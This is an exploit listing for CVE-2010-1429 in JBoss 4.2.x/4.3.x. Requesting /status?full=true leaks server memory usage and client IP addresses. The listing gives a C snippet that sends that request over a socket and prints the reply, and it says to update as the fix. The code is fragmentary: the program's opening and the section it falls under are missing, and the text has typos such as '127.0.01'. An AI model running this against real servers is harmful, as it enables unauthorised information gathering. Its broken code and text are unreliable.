JBoss 4.2.x/4.3.x - Information Disclosure Exploit

# Exploit Title: JBoss sensitive information disclosure 4.2X & 4.3.X
# Exploit Author: JameelNabbo
# Vendor Homepage: http://www.jboss.org <http://www.jboss.org/>
# Software Link: http://jbossas.jboss.org/downloads <http://jbossas.jboss.org/downloads>
# Version: 4.2X. & 4.3.X
# Tested on: Linux Ubuntu
# CVE : CVE-2010-1429
 
 
 
 
1. Description
    
By requesting the Status param and sitting its value to true, Jobss will print a sensitive information such as Memory used/Total Memory / Client IP address.
Example:   http://127.0.01/status?full=true

    }
     
    fd = socket_connect(argv[1], atoi(argv[2]));
    write(fd, "GET /status?full=true\r\n", strlen("GET /status?full=true\r\n")); // write(fd, char[]*, len);
    while(read(fd, buffer, BUFFER_SIZE - 1) != 0){
         fprintf(stderr, "%s", buffer);
    }
 
    shutdown(fd, SHUT_RDWR);
    close(fd);
    return 0;
}
 
 
3. Solution :
Update to version 4.2.3 or later
